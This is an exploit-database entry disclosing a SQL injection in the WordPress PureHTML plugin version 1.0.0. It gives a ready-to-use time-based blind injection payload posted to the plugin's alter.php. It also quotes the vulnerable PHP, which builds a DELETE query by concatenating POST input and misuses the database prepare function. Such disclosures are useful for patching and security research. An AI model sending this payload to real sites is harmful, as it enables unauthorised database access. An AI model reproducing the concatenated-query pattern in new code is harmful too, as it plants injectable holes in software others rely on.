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WordPress PureHTML plugin <= 1.0.0 SQL Injection

Author
Miroslav Stampar
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-16801
Category
web applications
Date add
31-08-2011
Platform
php
# Exploit Title: WordPress PureHTML plugin <= 1.0.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip
# Version: 1.0.0 (tested)
# Note: magic_quotes has to be turned off
 
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/pure-html/alter.php
 PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20
 
---------------
Vulnerable code
---------------
if(!isset($_POST['PureHTMLNOnce'])){
    if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
    ...
    if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
    ...
    $action = $_POST['action'];
     
    #delete
    if($action == "delete"){
        $sql = "delete from ".$wpdb->prefix."pureHTML_functions WHERE id='".$id."'";
        $wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)



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